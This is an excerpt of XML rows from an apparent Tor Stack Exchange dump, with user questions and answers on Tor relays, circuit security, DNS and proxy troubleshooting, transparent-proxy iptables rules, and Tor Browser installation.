  <row Id="4115" PostTypeId="2" ParentId="4114" CreationDate="2014-09-14T10:25:32.630" Score="2" Body="&lt;p&gt;You know that some rogue entry node isn't faking Tor circuits because your Tor client specifies the relays used in each circuit, and because the circuit-creation process requires that each relay demonstrate that it possesses the proper private key. In order to mount such an attack, an adversary would need to compromise most Tor relays, in order to get their private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's probably unworkable, and it's undoubtedly not the most efficient attack. It would be far easier for an adversary to run numerous malicious entry guards and exit relays. In order to push users to its malicious nodes, it could mount DDoS attacks against honest nodes. That's the attack to worry about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For specifics, see &lt;code&gt;5. Circuit management&lt;/code&gt; in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=tor-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Tor Protocol Specification&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-09-14T10:25:32.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4116" PostTypeId="2" ParentId="4050" CreationDate="2014-09-14T19:15:09.050" Score="4" Body="&lt;p&gt;No, a very slow (whatever that means) relay would not help.  No traffic is directed to a relay below a certain bandwidth threshold.  Any adversary can disregard all nodes below that threshold when considering which nodes to watch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, do you really want your traffic to be routed through someones 64KB/sec soda-straw?  Yeah, no one else does either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very slow relays are nothing more than a feel-good exercise.  Spend a few dollars on a VPS and make an actual contribution to the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lowendtalk.com/categories/offers&quot; rel=&quot;nofollow&quot;&gt;http://lowendtalk.com/categories/offers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3642" LastActivityDate="2014-09-14T19:15:09.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4117" PostTypeId="2" ParentId="4050" CreationDate="2014-09-15T01:16:30.657" Score="1" Body="&lt;p&gt;A very slow relay may not be particularly useful for relaying traffic, but it can find other uses in the network such as being a hidden service directory.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-09-15T01:16:30.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4118" PostTypeId="1" CreationDate="2014-09-15T02:35:04.813" Score="1" ViewCount="89" Body="&lt;p&gt;I was having problems I already asked about (2 Tors in my apps folder and dock), so I decided to uninstall everything and start over. Only today I've been unable to access the Tor site, from any browser (Firefox and Safari) or search engine (Google, Yahoo, Bing). All I get is the spinning wheel and then a can't find the server/problem loading page error message. Tried thru CNET and PCMag and got a TextEdit file. IsItDown tells me repeatedly there's no problem with the site. I have read that ComCast is blocking Tor, but I have Time Warner - are they blocking it too? Is the site under maintenance since it's Sunday? But why wouldn't I then be at least able to get to the site and get a maintenance message?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fixed it. I had to change my DNS - for some reason the TWC one stopped working - does this mean TWC is blocking Tor? I changed to Google's open DNS. All of a sudden I could access the site and download TBB. Now I have Firefox ESR 24.8, and only one Tor in my apps folder and dock. Yay! For some reason, the Tor icon in the apps folder has the No sign over it, but no matter, it works! Took me quite a while since I'm no techie, but I read somewhere changing the DNS might work, didn't even know what a DNS was, found out I didn't have to change it for my network (my wife would kill me), just for my computer. I still have Tor on my laptop - wonder if I have to change the DNS there too. Anyway, I got it back - I use Tor for privacy, not because I do illegal things, but because I think it's creepy to be followed around and reported on. Big Brother and 1984 and Neuromancer and Snow Crash etc....&lt;/p&gt;&#xA;" OwnerUserId="3626" LastEditorUserId="3626" LastEditDate="2014-09-15T06:45:52.133" LastActivityDate="2014-09-15T06:45:52.133" Title="Uninstalled Tor, now can't even get to the site to dl again" Tags="|troubleshooting|" AnswerCount="0" CommentCount="0" ClosedDate="2014-09-15T12:17:58.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="4119" PostTypeId="2" ParentId="4098" CreationDate="2014-09-15T06:53:11.857" Score="0" Body="&lt;p&gt;I asked another question in Troubleshooting that arose when I decided to uninstall and reinstall Tor to get rid of the weird almost duplicates (different versions). Then all day today I couldn't access the Tor site to download. Tried everything, nothing worked. Read how Comcast was ordering customers to stop using Tor or lose service, wondered if TWC was doing the same thing. Read how changing the DNS might help. Didn't know what a DNS is, but saw that Google has public ones. Read that I could change just for  my computer, not my home network (my wife wouldn't appreciate it). So I did that, and immediately I was able to access the website, dl the latest Tor (I think), Firefox ESR 24.8, and am back up, hopefully without creepy government types following me around - I don't do illegal stuff, but I really despise Big Brother.&lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2014-09-15T06:53:11.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4120" PostTypeId="1" CreationDate="2014-09-15T10:01:27.717" Score="7" ViewCount="1568" Body="&lt;p&gt;I've been running into cloudflare issues quite a bit when browsing with Tor and it seems to be becoming more and more of an issue. Sometimes I get captchas, sometimes I don't, but regardless it's becoming quite a headache just to try to casually browse semi anonymously. I don't particularly trust proxies and VPNs are as good as their privacy policies I guess but I figure that if I am trying to keep myself private and not so much data traveling back and forth (I do not log into sites etc or do other serious stuff with the Tor Browser Bundle (TBB), I save that for TAILS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this is a two parter:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Would running Tor -&gt; Proxy help hide the fact that I am using tor from cloudflare? (It seems to me it would but I wanted to check)&lt;/li&gt;&#xA;&lt;li&gt;How does/can one setup the TBB to route Tor traffic through a proxy? I of course found the option &quot;this computer needs to use a proxy to access the internet&quot; and the Preferences -&gt; Proxy Settings but (and forgive me, I do not really understand this stuff) it sounded to me like those would give me a Proxy -&gt; Tor setup which would still give me the cloudflare problem.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3643" LastEditorUserId="3508" LastEditDate="2014-09-24T16:18:12.817" LastActivityDate="2014-09-24T17:47:33.117" Title="Will routing Tor through a proxy help avoid cloudflare (and how to do it w/ TBB?)" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4121" PostTypeId="2" ParentId="4110" CreationDate="2014-09-15T14:34:19.243" Score="2" Body="&lt;p&gt;The problem is that that you are not compiling the browser, you are compiling the Tor proxy that the browser communicates with.  Therefor, you need to set a browser to communicate with the socks5 proxy that Tor builds.&lt;/p&gt;&#xA;" OwnerUserId="3645" LastActivityDate="2014-09-15T14:34:19.243" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4122" PostTypeId="1" CreationDate="2014-09-15T23:32:58.560" Score="6" ViewCount="2885" Body="&lt;p&gt;I am configuring a tor hardware router as an anonymizing transparent proxy using the info &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/Torouter&quot;&gt;here&lt;/a&gt; and the good news is everything is working as it should; I can connect and browse sites, dns is forwarded to port 9053 and everything else tcp is forwarded over tor on the router port 9040. I go to &lt;a href=&quot;https://check.torproject.org&quot;&gt;https://check.torproject.org&lt;/a&gt; to test and it says tor is running and configured properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing is I would also like to browse hidden services (.onion)  and so far have not been able to get it to work. When I am connected to the tor hardware router and I troubleshoot from the command line .onion domains resolve to the false ip addresses as they should:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; sh-4.1$ host 3g2upl4pq6kufc4m.onion&#xA;3g2upl4pq6kufc4m.onion has address 10.213.7.118&#xA;3g2upl4pq6kufc4m.onion has address 10.213.7.118&#xA;Host 3g2upl4pq6kufc4m.onion.lan not found: 4(NOTIMP)&#xA;sh-4.1$ host xmh57jrzrnw6insl.onion&#xA;xmh57jrzrnw6insl.onion has address 10.245.42.50&#xA;xmh57jrzrnw6insl.onion has address 10.245.42.50&#xA;Host xmh57jrzrnw6insl.onion.lan not found: 4(NOTIMP)&#xA;sh-4.1$ host xmh57jrdrnw6insl.onion&#xA;xmh57jrdrnw6insl.onion has address 10.221.223.52&#xA;xmh57jrdrnw6insl.onion has address 10.221.223.52&#xA;Host xmh57jrdrnw6insl.onion.lan not found: 4(NOTIMP)&#xA;sh-4.1$ host xmh57jrdrnw6ins0.onion&#xA;xmh57jrdrnw6ins0.onion has address 10.194.64.30&#xA;xmh57jrdrnw6ins0.onion has address 10.194.64.30&#xA;Host xmh57jrdrnw6ins0.onion.lan not found: 4(NOTIMP)&#xA;sh-4.1$ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those are all addresses with the VirtualNetwork as configured in my torrc which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VirtualAddrNetwork 10.192.0.0/10&#xA;AutomapHostsOnResolve 1&#xA;TransPort 9040&#xA;TransListenAddress 127.0.0.1&#xA;TransListenAddress 10.192.0.1&#xA;DNSPort 9053&#xA;DNSListenAddress 127.0.0.1&#xA;DNSListenAddress 10.192.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I have added a firewall rule (this may be where I done goofed) like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# allow ssh access over port 99 from LAN&#xA;iptables -t nat -A PREROUTING -i br-lan -p tcp --dport 99 -j REDIRECT --to-ports 22&#xA;# everything else goes over tor&#xA;iptables -t nat -A PREROUTING -i br-lan -p tcp --syn -j REDIRECT --to-ports 9040&#xA;# udp traffic for DNS (port 53) is sent to tor 9053&#xA;iptables -t nat -A PREROUTING -i br-lan -p udp --dport 53 -j REDIRECT --to-ports 9053&#xA;# everything else udp is dropped.. not working yet&#xA;#iptables -t nat -A PREROUTING -i br-lan -p udp --syn -j DROP&#xA;# resolve onion domains (this is the rule in question)&#xA;iptables -t nat -A OUTPUT -p tcp -d 10.192.0.0/10 -j REDIRECT --to-ports 9040&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know .onion domains do not have ip addresses to resolve to, but when my browser queries the router 10.192.0.1:9053 for an onion domain it comes back with a seemingly random ip within the 10.192.0.0/10 range, and then when my browser requests that ip (say 10.192.254.7:80) it should be redirected via iptables back to the router 10.192.0.1:9040 right? Or am I doing it wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is working fine except .onion domains...&lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-09-16T07:29:09.257" Title="transparent proxy .onion firewall rules" Tags="|dns|iptables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4124" PostTypeId="2" ParentId="4122" CreationDate="2014-09-16T07:29:09.257" Score="4" Body="&lt;p&gt;I found the issue after some reading. The VirtualAddrNetwork setting was the same as the dhcp pool in my network configuration so when .onion domains were returned the browser was attempting to forward traffic to an address on my local area network, which was not the correct configuration. If anyone is interested I can post the config files, but a much better and in depth explanation can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://grepular.com/Transparent_Access_to_Tor_Hidden_Services&quot; rel=&quot;nofollow&quot;&gt;https://grepular.com/Transparent_Access_to_Tor_Hidden_Services&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this ticket should be closed. &lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-09-16T07:29:09.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4125" PostTypeId="1" AcceptedAnswerId="7513" CreationDate="2014-09-16T09:00:21.747" Score="4" ViewCount="27695" Body="&lt;p&gt;I would like to set the Tor browser as my default browser in Windows 7, but the setting in options/advanced is not working or will not hold. How do I fix this?&lt;/p&gt;&#xA;" OwnerUserId="1741" LastEditorUserId="8200" LastEditDate="2015-08-23T12:59:24.667" LastActivityDate="2021-12-16T18:57:59.087" Title="Setting Tor Browser as default browser in Windows" Tags="|tor-browser-bundle|windows|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4126" PostTypeId="2" ParentId="4082" CreationDate="2014-09-16T09:01:32.377" Score="1" Body="&lt;p&gt;This message is for informational use. Just check if the determined address is the address you are using at the moment. If it is then your relay is working as intended. If it is not try to state the right ip address manually in the vidalia options.&lt;/p&gt;&#xA;" OwnerUserId="3648" LastActivityDate="2014-09-16T09:01:32.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4127" PostTypeId="2" ParentId="4120" CreationDate="2014-09-16T09:45:37.597" Score="0" Body="&lt;p&gt;It still exits through the exit node, so VPN would not help.&#xA;The web service you are accessing 'sees' you as the exit node IP, regardless if you run VPN on your end.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-09-16T09:45:37.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4128" PostTypeId="2" ParentId="4125" CreationDate="2014-09-16T10:22:40.527" Score="0" Body="&lt;p&gt;Try to set it in the standard programs menu of windows.&#xA;You can read a detailed howto for windows 7 here:&#xA;&lt;a href=&quot;http://www.bleepingcomputer.com/forums/t/43506/how-to-change-the-default-web-browser-in-windows/&quot; rel=&quot;nofollow&quot;&gt;http://www.bleepingcomputer.com/forums/t/43506/how-to-change-the-default-web-browser-in-windows/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3648" LastActivityDate="2014-09-16T10:22:40.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4129" PostTypeId="2" ParentId="4099" CreationDate="2014-09-16T10:52:59.230" Score="2" Body="&lt;p&gt;This article shows, that clients are rotating their guard nodes every 4-8 weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It isn't optimal to allow this temporary dip in traffic (since we're not taking advantage of resources that you're trying to contribute), but it's a short period of time overall: clients rotate their guards nodes every 4-8 weeks, so pretty soon some of them will rotate onto your relay.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So your client is looking for a guard flagged relay (entry relay) and after a certain amount of time (4-8 weeks) it is rotating to another entry relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think they didn't implemented the proposal yet because the milestone is set to 0.2.6.x-final in trac.&lt;/p&gt;&#xA;" OwnerUserId="3648" LastActivityDate="2014-09-16T10:52:59.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4131" PostTypeId="2" ParentId="4087" CreationDate="2014-09-16T14:09:13.857" Score="0" Body="&lt;p&gt;One fact that is commonly ignored when dealing with Tor is the hosts of the relay/exit/entry nodes.  The simple fact is that many, if not most, of the Tor nodes are botnets that are hosted by third parties.  This is a sad fact, but it prevents many attacks simply because of the sheer number of hosts that these introduce.  In essence, to fully de-anonymize the Tor network, one would have to create a larger number of hosts than many large-scale botnets.  This is not only costly, but inefficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion, only a fraction of the total network can be compromised by rouge servers alone.  This does NOT mean it is impossible for the network to be compromised, as there are most likely multiple vulnerabilities that have not been found yet, but this means that the chances of an attack like the one that happened recently on a large scale are minimal.&lt;/p&gt;&#xA;" OwnerUserId="3645" LastEditorUserId="350" LastEditDate="2014-09-18T13:39:04.387" LastActivityDate="2014-09-18T13:39:04.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4133" PostTypeId="1" CreationDate="2014-09-16T18:33:30.130" Score="3" ViewCount="13935" Body="&lt;p&gt;I've installed the Tor browser bundle 3.6.5 and when I run the &quot;Start Tor Browser&quot; file nothing happens. I check the task manager and what happens is a process named &quot;Tor Browser (32 Bit)&quot; appears for a few seconds then disappears. I've re-downloaded it 3 times to make sure I didn't get a corrupt installer or something. I tried disabling AVG antivirus but it didn't seem to help. Any ideas as to what might be the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;OS is Windows 8 64 bit&lt;/p&gt;&#xA;" OwnerUserId="3653" LastEditorUserId="-1" LastEditDate="2014-09-18T13:38:53.170" LastActivityDate="2017-11-30T12:40:36.810" Title="Using Tor for the first time. Tor won't open" Tags="|tor-browser-bundle|help|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4135" PostTypeId="2" ParentId="1159" CreationDate="2014-09-16T21:33:15.507" Score="2" Body="&lt;p&gt;For Windows (the OP does not specify an OS), I've used this shareware utility for years -- can't vouch for it beyond saying I've never had any problems (technical nor malware-related) with it in 5+ years of daily use on 4 Windows boxes, including Windows 7 (don't know about Win 8):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.brianapps.net/sizer/&quot; rel=&quot;nofollow&quot;&gt;Sizer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A right-click anywhere on a window frame (any window, not just a browser) tells you the current window size; you can drag any edge or corner and see real-time size while resizing in 1 or 2 dimensions; and you can define and give names to arbitrary custom window sizes that can be picked from a menu on the same right-click pop-up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it answers both requests (a) and (b) from the OP: a moment with Panopticlick to get your reported screen size, compare those with the Sizer-reported frame size, do a bit of subtraction and addition to figure out the dimensions of your borders and other chrome, and voila! you can define a custom size to mimic a standard size.&lt;/p&gt;&#xA;" OwnerUserId="3654" LastActivityDate="2014-09-16T21:33:15.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4139" PostTypeId="1" CreationDate="2014-09-17T05:51:59.003" Score="1" ViewCount="201" Body="&lt;p&gt;Thanks for such a good program. &#xA;Since yesterday, mercadolibre.com.ar does not work for me anymore. It lets me navigate and view the products but it won't let me login to my account:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mercadolibre.com/jms/mla/lgz/login?go=http://www.mercadolibre.com.ar/gz/home/logged?display=page&quot; rel=&quot;nofollow&quot;&gt;https://www.mercadolibre.com/jms/mla/lgz/login?go=http://www.mercadolibre.com.ar/gz/home/logged?display=page&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3658" LastEditorUserId="923" LastEditDate="2014-09-19T18:33:23.387" LastActivityDate="2014-09-19T18:33:23.387" Title="Since yesterday, I can not access mercadolibre.com.ar anymore" Tags="|tor-browser-bundle|help|ssl|https|nyx|" AnswerCount="0" CommentCount="2" ClosedDate="2014-09-17T06:57:47.460" ContentLicense="CC BY-SA 3.0" />
  <row Id="4140" PostTypeId="2" ParentId="3909" CreationDate="2014-09-17T05:58:01.677" Score="1" Body="&lt;p&gt;On my debian/ubuntu style linux workstation, I can just click on the icon without having to run it from the command line. If I did want to run it from the command line and experienced this error, I would start by looking at the permissions and make sure the file is executable. If the file is not executable that is the problem right there....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@r2:/home/august/Downloads/tor-browser_en-US# ls&#xA;Browser  Data  Docs  start-tor-browser  Tor&#xA;root@r2:/home/august/Downloads/tor-browser_en-US# ll start*&#xA;-rwx------ 1 august august 7588 1999-12-31 16:00 start-tor-browser*&#xA;root@r2:/home/august/Downloads/tor-browser_en-US# chmod a+x start-tor-browser&#xA;root@r2:/home/august/Downloads/tor-browser_en-US# &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also I would check to make sure the user you are logged in as has ownership of the executable, or an easier way would be to 'sudo su' and run the executable as root, thats not the way you would normally run it but if it works when loged in as root you know that it is a permission issue. Although it will still not run if it is not marked executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If none of that helps the next thing I would do is open a terminal and review your log files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   root@r2:~# cd /var/log&#xA;root@r2:/var/log# tail -f ./*.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you a scrolling output from all the logfiles. With that window still open and scrolling, try and open the tor browser bundle by clicking on it, and watch for error messages in the window. To stop the scrolling do crtl + c&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever is causing your error will probably show up in the logfiles. If you still can't figure it out, post the output from the logfiles here and we will have a look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nice wallpaper btw! Is that Kali?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-09-17T05:58:01.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4141" PostTypeId="2" ParentId="1631" CreationDate="2014-09-17T06:06:56.887" Score="1" Body="&lt;p&gt;I would add that if you really want to do this you need to forward ports from the outside so that other peoples tor clients can connect to your relay, since you are not being given a public ip your traffic over the vpn is being NAT'd. Usually VPN service do not want you to do this and yes, its generally not a good idea for the reasons above as well.&lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-09-17T06:06:56.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4142" PostTypeId="1" CreationDate="2014-09-17T16:56:13.090" Score="3" ViewCount="213" Body="&lt;p&gt;We're doing an assignment on net anonymity, especially about Tor. We're trying to find out where Tor users are coming from. In order to achieve this, we set up a Tor node and disabled scrambled logging. However, filtering IP addresses from a log file isn't the most efficient way, plus a lot of IP addresses belong to exit nodes that aren't actually used by clients. With clients I mean humans using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way, for an entry guard, to see whether it's being used as first node in a circuit by a client?&lt;/p&gt;&#xA;" OwnerUserId="3661" LastEditorUserId="923" LastEditDate="2014-09-17T18:10:46.767" LastActivityDate="2014-09-18T11:28:52.013" Title="Does an Entry Guard know by which clients it's being used as Entry Guard?" Tags="|guard-node|research|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4143" PostTypeId="2" ParentId="4133" CreationDate="2014-09-17T22:35:14.853" Score="1" Body="&lt;p&gt;Tor browser uses two executable files at once, and if one of these is running, but not the other, the Tor browser won't work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To shut down the processes (assuming Windows 7/Vista, Windows 8 is slightly different: you will just need to scroll down the list), open the task manager, click the &quot;Processes&quot; tab, and find &quot;tor.exe *32,&quot; and end the process, also find &quot;firefox.exe *32&quot; and end it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simpler solution would be to restart your computer.&lt;/p&gt;&#xA;" OwnerUserId="3663" LastActivityDate="2014-09-17T22:35:14.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4144" PostTypeId="2" ParentId="4125" CreationDate="2014-09-17T22:43:50.390" Score="1" Body="&lt;p&gt;Tor Browser can't be the Windows default browser because it doesn't tell the operating system that it is installed: it is just a series of executable files on your desktop so far as Windows is concerned. You can't even use Tor Browser to open HTML document on your hard drive because it uses several executables at once.&lt;/p&gt;&#xA;" OwnerUserId="3663" LastActivityDate="2014-09-17T22:43:50.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4145" PostTypeId="1" AcceptedAnswerId="4148" CreationDate="2014-09-18T00:40:47.677" Score="6" ViewCount="556" Body="&lt;p&gt;I use Tor browser on Ubuntu and every time it updates, I have to download and unpack the binaries again. This is a bit annoying, so I would prefer to use a PPA. I found &lt;a href=&quot;https://launchpad.net/~webupd8team/+archive/ubuntu/tor-browser&quot; rel=&quot;noreferrer&quot;&gt;this ppa&lt;/a&gt; by the webupd8team, but how safe is it to install from this source when compared from installing from the Tor website. Has the Tor foundation released an official word on this?&lt;/p&gt;&#xA;" OwnerUserId="587" LastEditorUserId="923" LastEditDate="2014-09-18T06:43:50.117" LastActivityDate="2014-09-18T09:45:37.970" Title="How secure is downloading Tor from a PPA vs. from official website?" Tags="|security|ubuntu|debian|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4146" PostTypeId="1" AcceptedAnswerId="4147" CreationDate="2014-09-18T07:29:11.457" Score="1" ViewCount="633" Body="&lt;p&gt;I've been thinking about a potential vulnerability that in certain cases may make it possible to identify a Tor client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say a malicious entry node establishes a connection with an Orbot client. This client proceeds to connect to the entry node through different network paths (wifi access points, mobile carriers) as the user moves in space. Through the pattern of hostnames/IPs connecting to the entry node, it may in extreme cases be possible to detect the identity of the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I see it, it could be resolved by automatically switching to a new Tor identity when Orbot detects network connectivity changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts or comments?&lt;/p&gt;&#xA;" OwnerUserId="3664" LastEditorUserId="923" LastEditDate="2014-09-18T09:17:43.440" LastActivityDate="2014-09-18T09:17:43.440" Title="Orbot, Tor identities and changing network connectivity paths" Tags="|anonymity|security|circuit|orbot|vulnerability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4147" PostTypeId="2" ParentId="4146" CreationDate="2014-09-18T08:45:17.783" Score="1" Body="&lt;p&gt;Tor does not hide the fact that you use Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your IP is hidden from the final destination and from the exit. Your destination and traffic are hidden from the guard and from your ISP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even without (re)connecting through different network paths, the Entry Guard knows where the connection is coming &lt;em&gt;from&lt;/em&gt;, but can not read the traffic and does not know where the circuit will exit from/to. The Exit node knows where you connect &lt;em&gt;to&lt;/em&gt; and can see (unencrypted) traffic but does not know who/where the client is.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-09-18T08:45:17.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4148" PostTypeId="2" ParentId="4145" CreationDate="2014-09-18T09:45:37.970" Score="5" Body="&lt;p&gt;As far as I see it, the &lt;a href=&quot;https://launchpad.net/~webupd8team/+archive/ubuntu/tor-browser/+packages&quot; rel=&quot;noreferrer&quot;&gt;package file&lt;/a&gt; brings its own version of the Tor Browser Bundle. So if you want to make sure that someone didn't change anything you'd have to check the integrity for yourself. If you don't do this the maintainer can inject arbitrary code into his TBB version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better way would be to download the TBB archive directly from torproject.org and check its integrity. This way you can be sure that you receive an unmodified version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just care about updating TBB, I would recommend &lt;a href=&quot;https://github.com/micahflee/torbrowser-launcher&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;torbrowser-launcher&lt;/code&gt;&lt;/a&gt; (&lt;a href=&quot;http://packages.ubuntu.com/search?keywords=torbrowser-launcher&quot; rel=&quot;noreferrer&quot;&gt;Ubuntu package&lt;/a&gt;). This downloads TBB is a safe way and updates your installation.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-09-18T09:45:37.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4149" PostTypeId="2" ParentId="4142" CreationDate="2014-09-18T10:51:41.067" Score="0" Body="&lt;p&gt;Sure there's ways.  That said:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Why not use the metrics provided by the Tor Project that include sanitized information on where users are coming from? (&lt;a href=&quot;https://metrics.torproject.org&quot; rel=&quot;nofollow&quot;&gt;https://metrics.torproject.org&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What did your institution's ethical review board think about your plan to collect personal identifying information from subjects without consent (that they are unlikely to give) as part of your research project?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the fingerprint of your malicious relay, that should be blacklisted by the Directory Authorities?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2014-09-18T10:51:41.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4150" PostTypeId="2" ParentId="4142" CreationDate="2014-09-18T11:28:52.013" Score="1" Body="&lt;p&gt;Metrics is a good source for your cause. And it is official. &#xA;You can and should get blacklisted for hosting a relay that grabs such sensitive user data.&#xA;As you said Tor is a tool that is granting anonymity to his users and I think none of them wants you to collect data from a guard relay for your assignment.&#xA;Metrics is the only source that is allowed to do so. &lt;/p&gt;&#xA;" OwnerUserId="3648" LastActivityDate="2014-09-18T11:28:52.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4151" PostTypeId="2" ParentId="733" CreationDate="2014-09-18T13:40:17.527" Score="6" Body="&lt;p&gt;In addition to ExitNodes {us} and StrictNodes 1, you should also use DNSPort 5553, along with dnsmasq (this is a dns relay program) with --server=/geoblocked.url/127.0.0.1#5553&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use Tor for ONLY the DNS lookups, since this is the only part that is actually geoblocked.&lt;/p&gt;&#xA;" OwnerUserId="3668" LastEditorUserId="923" LastEditDate="2014-09-18T13:55:41.487" LastActivityDate="2014-09-18T13:55:41.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
